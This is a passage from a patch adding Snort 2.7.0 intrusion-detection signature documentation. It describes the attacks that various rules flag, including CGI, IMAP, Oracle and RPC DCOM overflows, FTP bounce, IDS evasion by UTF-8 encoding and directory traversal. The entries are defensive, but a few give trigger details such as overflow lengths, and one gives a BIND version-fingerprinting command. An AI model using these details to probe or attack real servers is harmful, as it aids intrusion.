+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/890.txt
+++ snort-2.7.0/doc/signatures/890.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+890
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running on a web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/1654.txt
+++ snort-2.7.0/doc/signatures/1654.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1654
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/3067.txt
+++ snort-2.7.0/doc/signatures/3067.txt
@@ -0,0 +1,74 @@
+Rule:
+
+--
+Sid:
+3067
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a buffer
+overflow associated with the several commands of an IMAP service. This
+event is concerned with data supplied as a parameter to the
+"examine" command.
+
+--
+Impact:
+A successful attack may cause a denial of service or a buffer overflow
+and the subsequent execution of arbitrary code on a vulnerable server.
+
+--
+Detailed Information:
+This event is generated when excess data is detected in an IMAP command.
+Some IMAP implementations exhibit programming errors that can lead to a
+buffer overflow condition when excess data is supplied to a static
+buffer.
+
+A vulnerability exists in the way that the Mercury Mail IMAP service
+handles several commands.  An excessively long command argument can
+trigger a denial of service or a buffer overflow and the subsequent
+execution of arbitrary code on a vulnerable server.
+
+In the case of Ipswitch IMail, an overly long mailbox name supplied as a
+parameter to the examine command may be a trigger condition of a buffer
+overflow. A name of 259 bytes or more may cause this to occur.
+
+--
+Affected Systems:
+	Pegasus Mail Mercury Mail Transport System 3.32
+	Pegasus Mail Mercury Mail Transport System 4.01a
+	Ipswitch IMail 8.1.3
+
+--
+Attack Scenarios:
+An attacker can supplied an overly long command, causing denial of
+service or a buffer overflow.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+Apply the appropriate vendor supplied patches.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Brian Caswell<bmc@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/559.txt
+++ snort-2.7.0/doc/signatures/559.txt
@@ -0,0 +1,91 @@
+Rule:  
+
+--
+
+Sid:
+
+559
+
+--
+
+Summary:
+
+A network-external client has connected to an internal GNUTella server
+and issued a connect attempt to begin communications.
+
+--
+
+Impact:
+
+Possible policy violation; possible excess network load.
+
+--
+
+Detailed Information:
+
+GNUTella is a P2P (Peer-to-Peer) protocol for exchanging arbitrary
+files.  Depending on your site's policies, using it may be a policy
+violation.
+
+If not properly configured, GNUTella clients may accidentally share out
+confidential files.  GNUTella worms (which use deceptive names to
+encourage download) and viruses may also be accidentally downloaded by a
+client.
+
+This rule being triggered means that a GNUTella server has been detected
+on the protected network.
+
+--
+
+Affected Systems:
+
+Any system with a GNUTella client installed (available for most
+platforms)
+
+--
+
+Attack Scenarios:
+
+N/A
+
+--
+
+Ease of Attack:
+
+N/A
+
+--
+
+False Positives:
+
+This rule detects the term "GNUTELLA CONNECT" on all ports.  As a
+result, any email, web page, or other network content that discusses the
+protocol and its messages will trigger this alert.
+
+--
+
+False Negatives:
+
+None known.
+
+--
+
+Corrective Action:
+
+Depends on acceptable use policies.
+
+--
+
+Contributors:
+Original Rule Writer Unknown
+Snort documentation contributed by Gene R Gomez (gene!AT!gomezbrothers!DOT!com)
+
+-- 
+
+Additional References:
+
+GNUTella
+http://www.gnutella.com
+
+
+--
--- snort-2.7.0.orig/doc/signatures/1518.txt
+++ snort-2.7.0/doc/signatures/1518.txt
@@ -0,0 +1,72 @@
+Rule:
+
+--
+Sid:
+1518
+
+--
+Summary:
+This event is generated when an attempt is made to access the file
+nstelemetry.adp on a web server.
+
+--
+Impact:
+Information gathering.
+
+--
+Detailed Information:
+Access to nstelemetry.adp may indicate that a malicious user is trying to
+exploit a well known vulnerability in AOLserver that allows the attacker to read
+password protected files.
+
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	AOLServer.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/3379.txt
+++ snort-2.7.0/doc/signatures/3379.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3379
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/119-6.txt
+++ snort-2.7.0/doc/signatures/119-6.txt
@@ -0,0 +1,61 @@
+Rule: 
+
+--
+Sid: 
+119-6
+
+-- 
+Summary: 
+This event is generated when the pre-processor http_inspect
+detects network traffic that may constitute an attack.
+
+-- 
+Impact: 
+Unknown. This may be an attempt to evade an IDS.
+
+--
+Detailed Information:
+This event is generated when the pre-processor http_inspect detects a
+web request that is using UTF-8 encoding. This may indicate an attempt
+to evade an IDS by obfuscating the request using UTF-8.
+
+--
+Affected Systems:
+	All web servers.
+
+--
+Attack Scenarios: 
+An attacker merely needs to encode the request using UTF-8 encoding.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+
+False Positives:
+This may be legitimate behavior. Web clients may use this encoding.
+
+--
+False Negatives:
+None Known.
+
+-- 
+Corrective Action:
+Check the target host for signs of compromise.
+
+Apply any appropriate vendor supplied patches.
+
+--
+Contributors:
+Daniel Roelker <droelker@sourcefire.com> 
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+HTTP IDS Evasions Revisited - Daniel Roelker
+http://docs.idsresearch.org/http_ids_evasions.pdf
+
+--
--- snort-2.7.0.orig/doc/signatures/2779.txt
+++ snort-2.7.0/doc/signatures/2779.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2779
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure drop_site_priority_site
+. This procedure is included in
+dbms_repcat.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/3441.txt
+++ snort-2.7.0/doc/signatures/3441.txt
@@ -0,0 +1,65 @@
+Rule:
+
+--
+Sid:
+3441
+
+--
+Summary:
+This event is generated when an attempt is made to use the PORT command
+in an FTP session.
+
+--
+Impact:
+Serious. Unauthorized access to the target host. Information disclosure.
+
+--
+Detailed Information:
+The PORT command can be used in an FTP PORT bounce attack to establish
+a connection between the FTP server and another machine listening on 
+an alternative port.
+
+This may lead to unauthorized access to a target host listening on a 
+port not available from outside the protected network.
+
+--
+Affected Systems:
+	Systems using FTP
+
+--
+Attack Scenarios:
+An attacker can issue a PORT command from an FTP session to connect to 
+another machine listening on an alternate port. For example, from an 
+FTP session an attacker could connect to an internal host listening on 
+an alternate web port meant only for internal sessions.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+CERT:
+http://www.cert.org/tech_tips/ftp_port_attacks.html
+
+--
--- snort-2.7.0.orig/doc/signatures/1930.txt
+++ snort-2.7.0/doc/signatures/1930.txt
@@ -0,0 +1,72 @@
+Rule:
+
+--
+Sid:
+1930
+
+--
+Summary:
+This event is generated when a remote attacker sends an overly long
+argument in the AUTH command to an internal IMAP server, indicating an
+attempt to exploit a buffer overflow vulnerability in Netscape Messaging
+Server and University of Washington IMAP implementations. This may also
+affect other IMAP server implementations.
+
+--
+Impact:
+Remote execution of arbitrary code with the security privileges of the
+IMAP process, possibly leading to remote root compromise.
+
+--
+Detailed Information:
+A buffer overflow vulnerability exists in the AUTHENTICATE command in
+University of Washington IMAP and Netscape Messaging Server. This can
+allow a remote attacker to send an AUTHENTICATE command with a
+malformed, overlong argument to a vulnerable IMAP server, causing a
+buffer overflow condition. The attacker can then execute arbitrary code
+on the server with the security privileges of the IMAP server process.
+
+--
+Affected Systems:
+	Netscape Messaging Server 3.55 and earlier
+	University of Washington imapd 10.234 and earlier.
+
+--
+Attack Scenarios:
+An attacker sends an overly long, malformed argument to an AUTHENTICATE
+command to a vulnerable IMAP server, causing a buffer overflow
+condition. The attacker may then be able to execute arbitrary code on the
+server with the security privileges of the IMAP server process.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Patches have been released for both UW IMAP and Netscape Messaging
+Server. Apply the patch or upgrade to a Netscape Messaging Server
+version higher than 3.55 or UW IMAP version higher than 10.234.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Sourcefire Technical Publications Team
+Jennifer Harvey <jennifer.harvey@sourcefire.com>
+
+--
+Additional References:
+
+Bugtraq
+http://www.securityfocus.com/bid/130
+
+--
--- snort-2.7.0.orig/doc/signatures/100000667.txt
+++ snort-2.7.0/doc/signatures/100000667.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+100000667
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "Harpia" application running on a webserver. 
+Access to the file "files.php" using a remote file being passed as the 
+"header_prog" parameter may indicate that an exploitation attempt has been 
+attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "header_prog" parameter in the "files.php" script used 
+by the "Harpia" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Harpia
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.7.0.orig/doc/signatures/654.txt
+++ snort-2.7.0/doc/signatures/654.txt
@@ -0,0 +1,64 @@
+Rule:  
+--
+Sid:
+654
+
+--
+Summary:
+When connecting to port 25 (SMTP) on a computer running a vunarable SMTP server it is possible to perform a DoS attack. In some cases it might be possible to perform a security breach as well.
+
+--
+Impact:
+Depending on the vunerable software you may need to restart the SMTP server or perform some level of incident response.
+
+--
+Detailed Information:
+Vulnerable systems:
+	Avirt Mail 4.0 (build 4124)
+	Avirt Mail 4.2 (build 4807)
+	PakMail SMTP/POP3
+	Netscape Messaging Server 3.54/3.55/3.6
+
+More details can be found on the various sites listed below as the impact and details vary from system to system.
+
+--
+Affected Systems:
+ 
+--
+Attack Scenarios:
+Supply a large amount of data after the RCPT TO: header in your SMTP flow.
+
+--
+Ease of Attack:
+DoS: rather easy
+Security breach: probably hard
+
+--
+False Positives:
+These will occur rather frequently with the given rule. They are most common when subscribed to mailinglists.
+
+--
+False Negatives:
+None Known
+
+
+--
+Corrective Action:
+Upgrade software according to the instructions of your software manufacturer.
+
+--
+Contributors:
+Original rule writer unknown
+Original document author unkown
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Hugo van der Kooij <hugo@vanderkooij.org>
+Josh Gray	Edits
+
+-- 
+Additional References:
+http://www.securiteam.com/exploits/6C00O1F00Y.html
+http://www.synnergy.net/downloads/advisories/SLA-2000-01.pakmail.txt
+http://online.securityfocus.com/bid/748
+
+--
--- snort-2.7.0.orig/doc/signatures/1616.txt
+++ snort-2.7.0/doc/signatures/1616.txt
@@ -0,0 +1,58 @@
+Rule:
+
+--
+Sid:
+1616
+
+--
+Summary:
+This event is generated when an attempt is made to query version.bind on your DNS server.
+
+--
+Impact:
+Reconnaissance. This may indicate which version of BIND the server is running.
+
+--
+Detailed Information:
+An attacker can query a DNS server for the version of BIND running.  Some versions of BIND, by default, respond to these queries while BIND version 9; by default, does not.  A response to this query can assist an attacker in discovering servers that are potentially vulnerable to exploits associated with specific versions of BIND. 
+
+--
+Affected Systems:
+All versions of BIND.
+
+--
+Attack Scenarios:
+An attacker can execute this query to find DNS servers running specific versions of BIND.
+
+--
+Ease of Attack:
+Simple. Use the Unix command 'dig @ns.com version.bind txt chaos' 
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Remove the ability to retrieve the version.bind chaos record via configuration options.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Nessus:
+http://cgi.nessus.org/plugins/dump.php3?id=10028
+
+Arachnids::
+http://www.whitehats.com/info/IDS278
+
+--
--- snort-2.7.0.orig/doc/signatures/2655.txt
+++ snort-2.7.0/doc/signatures/2655.txt
@@ -0,0 +1,70 @@
+Rule:
+
+-- 
+Sid:
+2655
+
+-- 
+Summary:
+This event is generated when an attempt is made to exploit a vulnerability
+associated with an HP WebJetAdmin web server.
+
+-- 
+Impact:
+A successful attack may allow the execution of arbitrary code as root on UNIX
+and SYSTEM on Windows on a vulnerable server.
+
+-- 
+Detailed Information:
+The HP Web JetAdmin application allows users to manage HP JetDirect-connected
+printers within their intranet using a browser. The httpd core supports an
+exported function called ExecuteFile. A vulnerability exists that allows the
+uploading and execution of unauthorized files by posting a malicious http
+request with the script /plugins/framework/script/content.hts in conjunction
+with ExecuteFile function to the web server. Discovery of the vulnerability is
+credited to FX of Phenoelit.
+
+-- 
+Affected Systems:
+	HP Web JetAdmin 6.5.
+
+-- 
+Attack Scenarios:
+An attacker can create upload and execute a malicious file on a vulnerable server.
+
+-- 
+Ease of Attack:
+Simple.
+
+-- 
+False Positives:
+None known.
+
+-- 
+False Negatives:
+The default HP Web JetAdmin port is 8000. If an administrator selects a
+different port on which to run the web server, no event will be
+generated. In that case, the rule should be altered to reflect the 
+port on which the web server runs. 
+
+-- 
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+-- 
+Contributors:
+Thomas Alex <talex@edhacker.com>
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+Phenoelit:
+http://www.phenoelit.de/stuff/HP_Web_Jetadmin_advisory.txt>
+
+Hewlett-Packard:
+http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=PSD_HPSBPI01026
+
+--
--- snort-2.7.0.orig/doc/signatures/2825.txt
+++ snort-2.7.0/doc/signatures/2825.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2825
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure validate_flavor_definition
+. This procedure is included in
+sys.dbms_repcat_fla.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/2788.txt
+++ snort-2.7.0/doc/signatures/2788.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2788
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure make_column_group
+. This procedure is included in
+dbms_repcat.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/1521.txt
+++ snort-2.7.0/doc/signatures/1521.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1521
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/100000338.txt
+++ snort-2.7.0/doc/signatures/100000338.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000338
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "phpMyDirectory" application running on a webserver. Access to the file "header.php" using a remote file being passed as the "ROOT_PATH" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "ROOT_PATH" parameter in the "header.php" script used by the "phpMyDirectory" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using phpMyDirectory
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
+
--- snort-2.7.0.orig/doc/signatures/1241.txt
+++ snort-2.7.0/doc/signatures/1241.txt
@@ -0,0 +1,64 @@
+Rule:  
+
+--
+Sid:
+1241
+
+--
+Summary:
+This event is generated when an attempt is made to execute a directory
+traversal attack.
+
+--
+Impact:
+Information disclosure. This is a directory traversal attempt which can
+lead to information disclosure and possible exposure of sensitive
+system information.
+
+--
+Detailed Information:
+Directory traversal attacks usually target web, web applications and ftp
+servers that do not correctly check the path to a file when requested by
+the client.
+
+This can lead to the disclosure of sensitive system information which may
+be used by an attacker to further compromise the system.
+
+--
+Affected Systems:
+
+--
+Attack Scenarios:
+An authorized user or anonymous user can use the directory traversal 
+technique, to browse folders outside the ftp root directory. Information
+gathered may be used in further attacks against the host.
+
+--
+Ease of Attack:
+Simple. No exploit software required.
+
+--
+False Positives:
+None known
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Upgrade the software to the latest non-affected version.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+
+--
--- snort-2.7.0.orig/doc/signatures/1194.txt
+++ snort-2.7.0/doc/signatures/1194.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1194
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
